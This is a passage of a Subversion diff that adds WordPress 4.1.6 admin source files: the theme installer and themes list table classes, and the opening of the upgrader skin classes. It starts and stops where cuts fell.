+			<br class="clear" />
+		</p>
+		</td></tr>
+		</tbody></table></form>
+	<?php
+	}
+}
Index: /tags/4.1.6/src/wp-admin/includes/class-wp-theme-install-list-table.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/class-wp-theme-install-list-table.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/class-wp-theme-install-list-table.php	(revision 33402)
@@ -0,0 +1,431 @@
+<?php
+/**
+ * Theme Installer List Table class.
+ *
+ * @package WordPress
+ * @subpackage List_Table
+ * @since 3.1.0
+ * @access private
+ */
+class WP_Theme_Install_List_Table extends WP_Themes_List_Table {
+
+	public $features = array();
+
+	public function ajax_user_can() {
+		return current_user_can( 'install_themes' );
+	}
+
+	public function prepare_items() {
+		include( ABSPATH . 'wp-admin/includes/theme-install.php' );
+
+		global $tabs, $tab, $paged, $type, $theme_field_defaults;
+		wp_reset_vars( array( 'tab' ) );
+
+		$search_terms = array();
+		$search_string = '';
+		if ( ! empty( $_REQUEST['s'] ) ){
+			$search_string = strtolower( wp_unslash( $_REQUEST['s'] ) );
+			$search_terms = array_unique( array_filter( array_map( 'trim', explode( ',', $search_string ) ) ) );
+		}
+
+		if ( ! empty( $_REQUEST['features'] ) )
+			$this->features = $_REQUEST['features'];
+
+		$paged = $this->get_pagenum();
+
+		$per_page = 36;
+
+		// These are the tabs which are shown on the page,
+		$tabs = array();
+		$tabs['dashboard'] = __( 'Search' );
+		if ( 'search' == $tab )
+			$tabs['search']	= __( 'Search Results' );
+		$tabs['upload'] = __( 'Upload' );
+		$tabs['featured'] = _x( 'Featured', 'themes' );
+		//$tabs['popular']  = _x( 'Popular', 'themes' );
+		$tabs['new']      = _x( 'Latest', 'themes' );
+		$tabs['updated']  = _x( 'Recently Updated', 'themes' );
+
+		$nonmenu_tabs = array( 'theme-information' ); // Valid actions to perform which do not have a Menu item.
+
+		/** This filter is documented in wp-admin/theme-install.php */
+		$tabs = apply_filters( 'install_themes_tabs', $tabs );
+
+		/**
+		 * Filter tabs not associated with a menu item on the Install Themes screen.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param array $nonmenu_tabs The tabs that don't have a menu item on
+		 *                            the Install Themes screen.
+		 */
+		$nonmenu_tabs = apply_filters( 'install_themes_nonmenu_tabs', $nonmenu_tabs );
+
+		// If a non-valid menu tab has been selected, And it's not a non-menu action.
+		if ( empty( $tab ) || ( ! isset( $tabs[ $tab ] ) && ! in_array( $tab, (array) $nonmenu_tabs ) ) )
+			$tab = key( $tabs );
+
+		$args = array( 'page' => $paged, 'per_page' => $per_page, 'fields' => $theme_field_defaults );
+
+		switch ( $tab ) {
+			case 'search':
+				$type = isset( $_REQUEST['type'] ) ? wp_unslash( $_REQUEST['type'] ) : 'term';
+				switch ( $type ) {
+					case 'tag':
+						$args['tag'] = array_map( 'sanitize_key', $search_terms );
+						break;
+					case 'term':
+						$args['search'] = $search_string;
+						break;
+					case 'author':
+						$args['author'] = $search_string;
+						break;
+				}
+
+				if ( ! empty( $this->features ) ) {
+					$args['tag'] = $this->features;
+					$_REQUEST['s'] = implode( ',', $this->features );
+					$_REQUEST['type'] = 'tag';
+				}
+
+				add_action( 'install_themes_table_header', 'install_theme_search_form', 10, 0 );
+				break;
+
+			case 'featured':
+			// case 'popular':
+			case 'new':
+			case 'updated':
+				$args['browse'] = $tab;
+				break;
+
+			default:
+				$args = false;
+				break;
+		}
+
+		/**
+		 * Filter API request arguments for each Install Themes screen tab.
+		 *
+		 * The dynamic portion of the hook name, `$tab`, refers to the theme install
+		 * tabs. Default tabs are 'dashboard', 'search', 'upload', 'featured',
+		 * 'new', and 'updated'.
+		 *
+		 * @since 3.7.0
+		 *
+		 * @param array $args An array of themes API arguments.
+		 */
+		$args = apply_filters( 'install_themes_table_api_args_' . $tab, $args );
+
+		if ( ! $args )
+			return;
+
+		$api = themes_api( 'query_themes', $args );
+
+		if ( is_wp_error( $api ) )
+			wp_die( $api->get_error_message() . '</p> <p><a href="#" onclick="document.location.reload(); return false;">' . __( 'Try again' ) . '</a>' );
+
+		$this->items = $api->themes;
+
+		$this->set_pagination_args( array(
+			'total_items' => $api->info['results'],
+			'per_page' => $args['per_page'],
+			'infinite_scroll' => true,
+		) );
+	}
+
+	public function no_items() {
+		_e( 'No themes match your request.' );
+	}
+
+	protected function get_views() {
+		global $tabs, $tab;
+
+		$display_tabs = array();
+		foreach ( (array) $tabs as $action => $text ) {
+			$class = ( $action == $tab ) ? ' class="current"' : '';
+			$href = self_admin_url('theme-install.php?tab=' . $action);
+			$display_tabs['theme-install-'.$action] = "<a href='$href'$class>$text</a>";
+		}
+
+		return $display_tabs;
+	}
+
+	public function display() {
+		wp_nonce_field( "fetch-list-" . get_class( $this ), '_ajax_fetch_list_nonce' );
+?>
+		<div class="tablenav top themes">
+			<div class="alignleft actions">
+				<?php
+				/**
+				 * Fires in the Install Themes list table header.
+				 *
+				 * @since 2.8.0
+				 */
+				do_action( 'install_themes_table_header' );
+				?>
+			</div>
+			<?php $this->pagination( 'top' ); ?>
+			<br class="clear" />
+		</div>
+
+		<div id="availablethemes">
+			<?php $this->display_rows_or_placeholder(); ?>
+		</div>
+
+		<?php
+		parent::tablenav( 'bottom' );
+	}
+
+	public function display_rows() {
+		$themes = $this->items;
+		foreach ( $themes as $theme ) {
+				?>
+				<div class="available-theme installable-theme"><?php
+					$this->single_row( $theme );
+				?></div>
+		<?php } // end foreach $theme_names
+
+		$this->theme_installer();
+	}
+
+	/**
+	 * Prints a theme from the WordPress.org API.
+	 *
+	 * @param object $theme An object that contains theme data returned by the WordPress.org API.
+	 *
+	 * Example theme data:
+	 *   object(stdClass)[59]
+	 *     public 'name' => string 'Magazine Basic'
+	 *     public 'slug' => string 'magazine-basic'
+	 *     public 'version' => string '1.1'
+	 *     public 'author' => string 'tinkerpriest'
+	 *     public 'preview_url' => string 'http://wp-themes.com/?magazine-basic'
+	 *     public 'screenshot_url' => string 'http://wp-themes.com/wp-content/themes/magazine-basic/screenshot.png'
+	 *     public 'rating' => float 80
+	 *     public 'num_ratings' => int 1
+	 *     public 'homepage' => string 'http://wordpress.org/themes/magazine-basic'
+	 *     public 'description' => string 'A basic magazine style layout with a fully customizable layout through a backend interface. Designed by <a href="http://bavotasan.com">c.bavota</a> of <a href="http://tinkerpriestmedia.com">Tinker Priest Media</a>.'
+	 *     public 'download_link' => string 'http://wordpress.org/themes/download/magazine-basic.1.1.zip'
+	 */
+	public function single_row( $theme ) {
+		global $themes_allowedtags;
+
+		if ( empty( $theme ) )
+			return;
+
+		$name   = wp_kses( $theme->name,   $themes_allowedtags );
+		$author = wp_kses( $theme->author, $themes_allowedtags );
+
+		$preview_title = sprintf( __('Preview &#8220;%s&#8221;'), $name );
+		$preview_url   = add_query_arg( array(
+			'tab'   => 'theme-information',
+			'theme' => $theme->slug,
+		), self_admin_url( 'theme-install.php' ) );
+
+		$actions = array();
+
+		$install_url = add_query_arg( array(
+			'action' => 'install-theme',
+			'theme'  => $theme->slug,
+		), self_admin_url( 'update.php' ) );
+
+		$update_url = add_query_arg( array(
+			'action' => 'upgrade-theme',
+			'theme'  => $theme->slug,
+		), self_admin_url( 'update.php' ) );
+
+		$status = $this->_get_theme_status( $theme );
+
+		switch ( $status ) {
+			case 'update_available':
+				$actions[] = '<a class="install-now" href="' . esc_url( wp_nonce_url( $update_url, 'upgrade-theme_' . $theme->slug ) ) . '" title="' . esc_attr( sprintf( __( 'Update to version %s' ), $theme->version ) ) . '">' . __( 'Update' ) . '</a>';
+				break;
+			case 'newer_installed':
+			case 'latest_installed':
+				$actions[] = '<span class="install-now" title="' . esc_attr__( 'This theme is already installed and is up to date' ) . '">' . _x( 'Installed', 'theme' ) . '</span>';
+				break;
+			case 'install':
+			default:
+				$actions[] = '<a class="install-now" href="' . esc_url( wp_nonce_url( $install_url, 'install-theme_' . $theme->slug ) ) . '" title="' . esc_attr( sprintf( __( 'Install %s' ), $name ) ) . '">' . __( 'Install Now' ) . '</a>';
+				break;
+		}
+
+		$actions[] = '<a class="install-theme-preview" href="' . esc_url( $preview_url ) . '" title="' . esc_attr( sprintf( __( 'Preview %s' ), $name ) ) . '">' . __( 'Preview' ) . '</a>';
+
+		/**
+		 * Filter the install action links for a theme in the Install Themes list table.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param array    $actions An array of theme action hyperlinks. Defaults are
+		 *                          links to Install Now, Preview, and Details.
+		 * @param WP_Theme $theme   Theme object.
+		 */
+		$actions = apply_filters( 'theme_install_actions', $actions, $theme );
+
+		?>
+		<a class="screenshot install-theme-preview" href="<?php echo esc_url( $preview_url ); ?>" title="<?php echo esc_attr( $preview_title ); ?>">
+			<img src="<?php echo esc_url( $theme->screenshot_url ); ?>" width="150" />
+		</a>
+
+		<h3><?php echo $name; ?></h3>
+		<div class="theme-author"><?php printf( __( 'By %s' ), $author ); ?></div>
+
+		<div class="action-links">
+			<ul>
+				<?php foreach ( $actions as $action ): ?>
+					<li><?php echo $action; ?></li>
+				<?php endforeach; ?>
+				<li class="hide-if-no-js"><a href="#" class="theme-detail"><?php _e('Details') ?></a></li>
+			</ul>
+		</div>
+
+		<?php
+		$this->install_theme_info( $theme );
+	}
+
+	/**
+	 * Prints the wrapper for the theme installer.
+	 */
+	public function theme_installer() {
+		?>
+		<div id="theme-installer" class="wp-full-overlay expanded">
+			<div class="wp-full-overlay-sidebar">
+				<div class="wp-full-overlay-header">
+					<a href="#" class="close-full-overlay button-secondary"><?php _e( 'Close' ); ?></a>
+					<span class="theme-install"></span>
+				</div>
+				<div class="wp-full-overlay-sidebar-content">
+					<div class="install-theme-info"></div>
+				</div>
+				<div class="wp-full-overlay-footer">
+					<a href="#" class="collapse-sidebar" title="<?php esc_attr_e('Collapse Sidebar'); ?>">
+						<span class="collapse-sidebar-label"><?php _e('Collapse'); ?></span>
+						<span class="collapse-sidebar-arrow"></span>
+					</a>
+				</div>
+			</div>
+			<div class="wp-full-overlay-main"></div>
+		</div>
+		<?php
+	}
+
+	/**
+	 * Prints the wrapper for the theme installer with a provided theme's data.
+	 * Used to make the theme installer work for no-js.
+	 *
+	 * @param object $theme - A WordPress.org Theme API object.
+	 */
+	public function theme_installer_single( $theme ) {
+		?>
+		<div id="theme-installer" class="wp-full-overlay single-theme">
+			<div class="wp-full-overlay-sidebar">
+				<?php $this->install_theme_info( $theme ); ?>
+			</div>
+			<div class="wp-full-overlay-main">
+				<iframe src="<?php echo esc_url( $theme->preview_url ); ?>"></iframe>
+			</div>
+		</div>
+		<?php
+	}
+
+	/**
+	 * Prints the info for a theme (to be used in the theme installer modal).
+	 *
+	 * @param object $theme - A WordPress.org Theme API object.
+	 */
+	public function install_theme_info( $theme ) {
+		global $themes_allowedtags;
+
+		if ( empty( $theme ) )
+			return;
+
+		$name   = wp_kses( $theme->name,   $themes_allowedtags );
+		$author = wp_kses( $theme->author, $themes_allowedtags );
+
+		$install_url = add_query_arg( array(
+			'action' => 'install-theme',
+			'theme'  => $theme->slug,
+		), self_admin_url( 'update.php' ) );
+
+		$update_url = add_query_arg( array(
+			'action' => 'upgrade-theme',
+			'theme'  => $theme->slug,
+		), self_admin_url( 'update.php' ) );
+
+		$status = $this->_get_theme_status( $theme );
+
+		?>
+		<div class="install-theme-info"><?php
+			switch ( $status ) {
+				case 'update_available':
+					echo '<a class="theme-install button-primary" href="' . esc_url( wp_nonce_url( $update_url, 'upgrade-theme_' . $theme->slug ) ) . '" title="' . esc_attr( sprintf( __( 'Update to version %s' ), $theme->version ) ) . '">' . __( 'Update' ) . '</a>';
+					break;
+				case 'newer_installed':
+				case 'latest_installed':
+					echo '<span class="theme-install" title="' . esc_attr__( 'This theme is already installed and is up to date' ) . '">' . _x( 'Installed', 'theme' ) . '</span>';
+					break;
+				case 'install':
+				default:
+					echo '<a class="theme-install button-primary" href="' . esc_url( wp_nonce_url( $install_url, 'install-theme_' . $theme->slug ) ) . '">' . __( 'Install' ) . '</a>';
+					break;
+			} ?>
+			<h3 class="theme-name"><?php echo $name; ?></h3>
+			<span class="theme-by"><?php printf( __( 'By %s' ), $author ); ?></span>
+			<?php if ( isset( $theme->screenshot_url ) ): ?>
+				<img class="theme-screenshot" src="<?php echo esc_url( $theme->screenshot_url ); ?>" />
+			<?php endif; ?>
+			<div class="theme-details">
+				<?php wp_star_rating( array( 'rating' => $theme->rating, 'type' => 'percent', 'number' => $theme->num_ratings ) ); ?>
+				<div class="theme-version">
+					<strong><?php _e('Version:') ?> </strong>
+					<?php echo wp_kses( $theme->version, $themes_allowedtags ); ?>
+				</div>
+				<div class="theme-description">
+					<?php echo wp_kses( $theme->description, $themes_allowedtags ); ?>
+				</div>
+			</div>
+			<input class="theme-preview-url" type="hidden" value="<?php echo esc_url( $theme->preview_url ); ?>" />
+		</div>
+		<?php
+	}
+
+	/**
+	 * Send required variables to JavaScript land
+	 *
+	 * @since 3.4.0
+	 * @access public
+	 *
+	 * @uses $tab Global; current tab within Themes->Install screen
+	 * @uses $type Global; type of search.
+	 */
+	public function _js_vars( $extra_args = array() ) {
+		global $tab, $type;
+		parent::_js_vars( compact( 'tab', 'type' ) );
+	}
+
+	/**
+	 * Check to see if the theme is already installed.
+	 *
+	 * @since 3.4.0
+	 * @access private
+	 *
+	 * @param object $theme - A WordPress.org Theme API object.
+	 * @return string Theme status.
+	 */
+	private function _get_theme_status( $theme ) {
+		$status = 'install';
+
+		$installed_theme = wp_get_theme( $theme->slug );
+		if ( $installed_theme->exists() ) {
+			if ( version_compare( $installed_theme->get('Version'), $theme->version, '=' ) )
+				$status = 'latest_installed';
+			elseif ( version_compare( $installed_theme->get('Version'), $theme->version, '>' ) )
+				$status = 'newer_installed';
+			else
+				$status = 'update_available';
+		}
+
+		return $status;
+	}
+}
Index: /tags/4.1.6/src/wp-admin/includes/class-wp-themes-list-table.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/class-wp-themes-list-table.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/class-wp-themes-list-table.php	(revision 33402)
@@ -0,0 +1,285 @@
+<?php
+/**
+ * Themes List Table class.
+ *
+ * @package WordPress
+ * @subpackage List_Table
+ * @since 3.1.0
+ * @access private
+ */
+class WP_Themes_List_Table extends WP_List_Table {
+
+	protected $search_terms = array();
+	public $features = array();
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 3.1.0
+	 * @access public
+	 *
+	 * @see WP_List_Table::__construct() for more information on default arguments.
+	 *
+	 * @param array $args An associative array of arguments.
+	 */
+	public function __construct( $args = array() ) {
+		parent::__construct( array(
+			'ajax' => true,
+			'screen' => isset( $args['screen'] ) ? $args['screen'] : null,
+		) );
+	}
+
+	public function ajax_user_can() {
+		// Do not check edit_theme_options here. AJAX calls for available themes require switch_themes.
+		return current_user_can( 'switch_themes' );
+	}
+
+	public function prepare_items() {
+		$themes = wp_get_themes( array( 'allowed' => true ) );
+
+		if ( ! empty( $_REQUEST['s'] ) )
+			$this->search_terms = array_unique( array_filter( array_map( 'trim', explode( ',', strtolower( wp_unslash( $_REQUEST['s'] ) ) ) ) ) );
+
+		if ( ! empty( $_REQUEST['features'] ) )
+			$this->features = $_REQUEST['features'];
+
+		if ( $this->search_terms || $this->features ) {
+			foreach ( $themes as $key => $theme ) {
+				if ( ! $this->search_theme( $theme ) )
+					unset( $themes[ $key ] );
+			}
+		}
+
+		unset( $themes[ get_option( 'stylesheet' ) ] );
+		WP_Theme::sort_by_name( $themes );
+
+		$per_page = 36;
+		$page = $this->get_pagenum();
+
+		$start = ( $page - 1 ) * $per_page;
+
+		$this->items = array_slice( $themes, $start, $per_page, true );
+
+		$this->set_pagination_args( array(
+			'total_items' => count( $themes ),
+			'per_page' => $per_page,
+			'infinite_scroll' => true,
+		) );
+	}
+
+	public function no_items() {
+		if ( $this->search_terms || $this->features ) {
+			_e( 'No items found.' );
+			return;
+		}
+
+		if ( is_multisite() ) {
+			if ( current_user_can( 'install_themes' ) && current_user_can( 'manage_network_themes' ) ) {
+				printf( __( 'You only have one theme enabled for this site right now. Visit the Network Admin to <a href="%1$s">enable</a> or <a href="%2$s">install</a> more themes.' ), network_admin_url( 'site-themes.php?id=' . $GLOBALS['blog_id'] ), network_admin_url( 'theme-install.php' ) );
+
+				return;
+			} elseif ( current_user_can( 'manage_network_themes' ) ) {
+				printf( __( 'You only have one theme enabled for this site right now. Visit the Network Admin to <a href="%1$s">enable</a> more themes.' ), network_admin_url( 'site-themes.php?id=' . $GLOBALS['blog_id'] ) );
+
+				return;
+			}
+			// Else, fallthrough. install_themes doesn't help if you can't enable it.
+		} else {
+			if ( current_user_can( 'install_themes' ) ) {
+				printf( __( 'You only have one theme installed right now. Live a little! You can choose from over 1,000 free themes in the WordPress.org Theme Directory at any time: just click on the <a href="%s">Install Themes</a> tab above.' ), admin_url( 'theme-install.php' ) );
+
+				return;
+			}
+		}
+		// Fallthrough.
+		printf( __( 'Only the current theme is available to you. Contact the %s administrator for information about accessing additional themes.' ), get_site_option( 'site_name' ) );
+	}
+
+	/**
+	 * @param string $which
+	 * @return null
+	 */
+	public function tablenav( $which = 'top' ) {
+		if ( $this->get_pagination_arg( 'total_pages' ) <= 1 )
+			return;
+		?>
+		<div class="tablenav themes <?php echo $which; ?>">
+			<?php $this->pagination( $which ); ?>
+			<span class="spinner"></span>
+			<br class="clear" />
+		</div>
+		<?php
+	}
+
+	public function display() {
+		wp_nonce_field( "fetch-list-" . get_class( $this ), '_ajax_fetch_list_nonce' );
+?>
+		<?php $this->tablenav( 'top' ); ?>
+
+		<div id="availablethemes">
+			<?php $this->display_rows_or_placeholder(); ?>
+		</div>
+
+		<?php $this->tablenav( 'bottom' ); ?>
+<?php
+	}
+
+	public function get_columns() {
+		return array();
+	}
+
+	public function display_rows_or_placeholder() {
+		if ( $this->has_items() ) {
+			$this->display_rows();
+		} else {
+			echo '<div class="no-items">';
+			$this->no_items();
+			echo '</div>';
+		}
+	}
+
+	public function display_rows() {
+		$themes = $this->items;
+
+		foreach ( $themes as $theme ):
+			?><div class="available-theme"><?php
+
+			$template   = $theme->get_template();
+			$stylesheet = $theme->get_stylesheet();
+			$title      = $theme->display('Name');
+			$version    = $theme->display('Version');
+			$author     = $theme->display('Author');
+
+			$activate_link = wp_nonce_url( "themes.php?action=activate&amp;template=" . urlencode( $template ) . "&amp;stylesheet=" . urlencode( $stylesheet ), 'switch-theme_' . $stylesheet );
+
+			$preview_link = esc_url( add_query_arg(
+				array( 'preview' => 1, 'template' => urlencode( $template ), 'stylesheet' => urlencode( $stylesheet ), 'preview_iframe' => true, 'TB_iframe' => 'true' ),
+				home_url( '/' ) ) );
+
+			$actions = array();
+			$actions['activate'] = '<a href="' . $activate_link . '" class="activatelink" title="'
+				. esc_attr( sprintf( __( 'Activate &#8220;%s&#8221;' ), $title ) ) . '">' . __( 'Activate' ) . '</a>';
+
+			$actions['preview'] = '<a href="' . $preview_link . '" class="hide-if-customize" title="'
+				. esc_attr( sprintf( __( 'Preview &#8220;%s&#8221;' ), $title ) ) . '">' . __( 'Preview' ) . '</a>';
+
+			if ( current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) {
+				$actions['preview'] .= '<a href="' . wp_customize_url( $stylesheet ) . '" class="load-customize hide-if-no-customize">'
+					. __( 'Live Preview' ) . '</a>';
+			}
+
+			if ( ! is_multisite() && current_user_can( 'delete_themes' ) )
+				$actions['delete'] = '<a class="submitdelete deletion" href="' . wp_nonce_url( 'themes.php?action=delete&amp;stylesheet=' . urlencode( $stylesheet ), 'delete-theme_' . $stylesheet )
+					. '" onclick="' . "return confirm( '" . esc_js( sprintf( __( "You are about to delete this theme '%s'\n  'Cancel' to stop, 'OK' to delete." ), $title ) )
+					. "' );" . '">' . __( 'Delete' ) . '</a>';
+
+			/** This filter is documented in wp-admin/includes/class-wp-ms-themes-list-table.php */
+			$actions       = apply_filters( 'theme_action_links', $actions, $theme );
+
+			/** This filter is documented in wp-admin/includes/class-wp-ms-themes-list-table.php */
+			$actions       = apply_filters( "theme_action_links_$stylesheet", $actions, $theme );
+			$delete_action = isset( $actions['delete'] ) ? '<div class="delete-theme">' . $actions['delete'] . '</div>' : '';
+			unset( $actions['delete'] );
+
+			?>
+
+			<a href="<?php echo $preview_link; ?>" class="screenshot hide-if-customize">
+				<?php if ( $screenshot = $theme->get_screenshot() ) : ?>
+					<img src="<?php echo esc_url( $screenshot ); ?>" alt="" />
+				<?php endif; ?>
+			</a>
+			<a href="<?php echo wp_customize_url( $stylesheet ); ?>" class="screenshot load-customize hide-if-no-customize">
+				<?php if ( $screenshot = $theme->get_screenshot() ) : ?>
+					<img src="<?php echo esc_url( $screenshot ); ?>" alt="" />
+				<?php endif; ?>
+			</a>
+
+			<h3><?php echo $title; ?></h3>
+			<div class="theme-author"><?php printf( __( 'By %s' ), $author ); ?></div>
+			<div class="action-links">
+				<ul>
+					<?php foreach ( $actions as $action ): ?>
+						<li><?php echo $action; ?></li>
+					<?php endforeach; ?>
+					<li class="hide-if-no-js"><a href="#" class="theme-detail"><?php _e('Details') ?></a></li>
+				</ul>
+				<?php echo $delete_action; ?>
+
+				<?php theme_update_available( $theme ); ?>
+			</div>
+
+			<div class="themedetaildiv hide-if-js">
+				<p><strong><?php _e('Version:'); ?></strong> <?php echo $version; ?></p>
+				<p><?php echo $theme->display('Description'); ?></p>
+				<?php if ( $theme->parent() ) {
+					printf( ' <p class="howto">' . __( 'This <a href="%1$s">child theme</a> requires its parent theme, %2$s.' ) . '</p>',
+						__( 'http://codex.wordpress.org/Child_Themes' ),
+						$theme->parent()->display( 'Name' ) );
+				} ?>
+			</div>
+
+			</div>
+		<?php
+		endforeach;
+	}
+
+	/**
+	 * @param WP_Theme $theme
+	 * @return bool
+	 */
+	public function search_theme( $theme ) {
+		// Search the features
+		foreach ( $this->features as $word ) {
+			if ( ! in_array( $word, $theme->get('Tags') ) )
+				return false;
+		}
+
+		// Match all phrases
+		foreach ( $this->search_terms as $word ) {
+			if ( in_array( $word, $theme->get('Tags') ) )
+				continue;
+
+			foreach ( array( 'Name', 'Description', 'Author', 'AuthorURI' ) as $header ) {
+				// Don't mark up; Do translate.
+				if ( false !== stripos( strip_tags( $theme->display( $header, false, true ) ), $word ) ) {
+					continue 2;
+				}
+			}
+
+			if ( false !== stripos( $theme->get_stylesheet(), $word ) )
+				continue;
+
+			if ( false !== stripos( $theme->get_template(), $word ) )
+				continue;
+
+			return false;
+		}
+
+		return true;
+	}
+
+	/**
+	 * Send required variables to JavaScript land
+	 *
+	 * @since 3.4.0
+	 * @access public
+	 *
+	 * @param array $extra_args
+	 */
+	public function _js_vars( $extra_args = array() ) {
+		$search_string = isset( $_REQUEST['s'] ) ? esc_attr( wp_unslash( $_REQUEST['s'] ) ) : '';
+
+		$args = array(
+			'search' => $search_string,
+			'features' => $this->features,
+			'paged' => $this->get_pagenum(),
+			'total_pages' => ! empty( $this->_pagination_args['total_pages'] ) ? $this->_pagination_args['total_pages'] : 1,
+		);
+
+		if ( is_array( $extra_args ) )
+			$args = array_merge( $args, $extra_args );
+
+		printf( "<script type='text/javascript'>var theme_list_args = %s;</script>\n", wp_json_encode( $args ) );
+		parent::_js_vars();
+	}
+}
Index: /tags/4.1.6/src/wp-admin/includes/class-wp-upgrader-skins.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/class-wp-upgrader-skins.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/class-wp-upgrader-skins.php	(revision 33402)
@@ -0,0 +1,784 @@
+<?php
+/**
+ * The User Interface "Skins" for the WordPress File Upgrader
+ *
+ * @package WordPress
+ * @subpackage Upgrader
+ * @since 2.8.0
+ */
+
+/**
+ * Generic Skin for the WordPress Upgrader classes. This skin is designed to be extended for specific purposes.
+ *
+ * @package WordPress
+ * @subpackage Upgrader
+ * @since 2.8.0
+ */
+class WP_Upgrader_Skin {
+
+	public $upgrader;
+	public $done_header = false;
+	public $done_footer = false;
+	public $result = false;
+	public $options = array();
+
+	public function __construct($args = array()) {
+		$defaults = array( 'url' => '', 'nonce' => '', 'title' => '', 'context' => false );
+		$this->options = wp_parse_args($args, $defaults);
+	}
+
+	/**
+	 * @param WP_Upgrader $upgrader
+	 */
+	public function set_upgrader(&$upgrader) {
+		if ( is_object($upgrader) )
+			$this->upgrader =& $upgrader;
+		$this->add_strings();
+	}
+
+	public function add_strings() {
+	}
+
+	public function set_result($result) {
+		$this->result = $result;
+	}
+
+	public function request_filesystem_credentials( $error = false, $context = false, $allow_relaxed_file_ownership = false ) {
+		$url = $this->options['url'];
+		if ( ! $context ) {
+			$context = $this->options['context'];
+		}
+		if ( !empty($this->options['nonce']) ) {
+			$url = wp_nonce_url($url, $this->options['nonce']);
+		}
+
+		$extra_fields = array();
+
+		return request_filesystem_credentials( $url, '', $error, $context, $extra_fields, $allow_relaxed_file_ownership );
+	}
+
+	public function header() {
+		if ( $this->done_header ) {
+			return;
+		}
+		$this->done_header = true;
+		echo '<div class="wrap">';
+		echo '<h2>' . $this->options['title'] . '</h2>';
+	}
+	public function footer() {
+		if ( $this->done_footer ) {
+			return;
+		}
+		$this->done_footer = true;
+		echo '</div>';
+	}
+
+	public function error($errors) {
+		if ( ! $this->done_header )
+			$this->header();
+		if ( is_string($errors) ) {
+			$this->feedback($errors);
+		} elseif ( is_wp_error($errors) && $errors->get_error_code() ) {
+			foreach ( $errors->get_error_messages() as $message ) {
+				if ( $errors->get_error_data() && is_string( $errors->get_error_data() ) )
+					$this->feedback($message . ' ' . esc_html( strip_tags( $errors->get_error_data() ) ) );
+				else
+					$this->feedback($message);
+			}
+		}
+	}
+
+	public function feedback($string) {
+		if ( isset( $this->upgrader->strings[$string] ) )
+			$string = $this->upgrader->strings[$string];
+
+		if ( strpos($string, '%') !== false ) {
+			$args = func_get_args();
+			$args = array_splice($args, 1);
+			if ( $args ) {
+				$args = array_map( 'strip_tags', $args );
+				$args = array_map( 'esc_html', $args );
+				$string = vsprintf($string, $args);
+			}
+		}
+		if ( empty($string) )
+			return;
+		show_message($string);
+	}
+	public function before() {}
+	public function after() {}
+
+	/**
+	 * Output JavaScript that calls function to decrement the update counts.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param string $type Type of update count to decrement. Likely values include 'plugin',
+	 *                     'theme', 'translation', etc.
+	 */
+	protected function decrement_update_count( $type ) {
+		if ( ! $this->result || is_wp_error( $this->result ) || 'up_to_date' === $this->result ) {
+			return;
+		}
+
+		if ( defined( 'IFRAME_REQUEST' ) ) {
+			echo '<script type="text/javascript">
+					if ( window.postMessage && JSON ) {
+						window.parent.postMessage( JSON.stringify( { action: "decrementUpdateCount", upgradeType: "' . $type . '" } ), window.location.protocol + "//" + window.location.hostname );
+					}
+				</script>';
+		} else {
+			echo '<script type="text/javascript">
+					(function( wp ) {
+						if ( wp && wp.updates.decrementCount ) {
+							wp.updates.decrementCount( "' . $type . '" );
+						}
+					})( window.wp );
+				</script>';
+		}
+	}
+}
+
+/**
+ * Plugin Upgrader Skin for WordPress Plugin Upgrades.
+ *
+ * @package WordPress
+ * @subpackage Upgrader
+ * @since 2.8.0
+ */
+class Plugin_Upgrader_Skin extends WP_Upgrader_Skin {
+	public $plugin = '';
+	public $plugin_active = false;
+	public $plugin_network_active = false;
+
+	public function __construct($args = array()) {
+		$defaults = array( 'url' => '', 'plugin' => '', 'nonce' => '', 'title' => __('Update Plugin') );
+		$args = wp_parse_args($args, $defaults);
+
+		$this->plugin = $args['plugin'];
+
+		$this->plugin_active = is_plugin_active( $this->plugin );
+		$this->plugin_network_active = is_plugin_active_for_network( $this->plugin );
+
+		parent::__construct($args);
+	}
+
+	public function after() {
+		$this->plugin = $this->upgrader->plugin_info();
+		if ( !empty($this->plugin) && !is_wp_error($this->result) && $this->plugin_active ){
+			echo '<iframe style="border:0;overflow:hidden" width="100%" height="170px" src="' . wp_nonce_url('update.php?action=activate-plugin&networkwide=' . $this->plugin_network_active . '&plugin=' . urlencode( $this->plugin ), 'activate-plugin_' . $this->plugin) .'"></iframe>';
+		}
+
+		$this->decrement_update_count( 'plugin' );
+
+		$update_actions =  array(
+			'activate_plugin' => '<a href="' . wp_nonce_url('plugins.php?action=activate&amp;plugin=' . urlencode( $this->plugin ), 'activate-plugin_' . $this->plugin) . '" title="' . esc_attr__('Activate this plugin') . '" target="_parent">' . __('Activate Plugin') . '</a>',
+			'plugins_page' => '<a href="' . self_admin_url('plugins.php') . '" title="' . esc_attr__('Go to plugins page') . '" target="_parent">' . __('Return to Plugins page') . '</a>'
+		);
+		if ( $this->plugin_active || ! $this->result || is_wp_error( $this->result ) || ! current_user_can( 'activate_plugins' ) )
+			unset( $update_actions['activate_plugin'] );
+
+		/**
+		 * Filter the list of action links available following a single plugin update.
+		 *
+		 * @since 2.7.0
+		 *
+		 * @param array  $update_actions Array of plugin action links.
+		 * @param string $plugin         Path to the plugin file.
+		 */
+		$update_actions = apply_filters( 'update_plugin_complete_actions', $update_actions, $this->plugin );
+
+		if ( ! empty($update_actions) )
+			$this->feedback(implode(' | ', (array)$update_actions));
+	}
+}
+
+/**
+ * Plugin Upgrader Skin for WordPress Plugin Upgrades.
+ *
+ * @package WordPress
+ * @subpackage Upgrader
+ * @since 3.0.0
+ */
+class Bulk_Upgrader_Skin extends WP_Upgrader_Skin {
+	public $in_loop = false;
+	public $error = false;
+
+	public function __construct($args = array()) {
+		$defaults = array( 'url' => '', 'nonce' => '' );
+		$args = wp_parse_args($args, $defaults);
+
+		parent::__construct($args);
+	}
+
+	public function add_strings() {
+		$this->upgrader->strings['skin_upgrade_start'] = __('The update process is starting. This process may take a while on some hosts, so please be patient.');
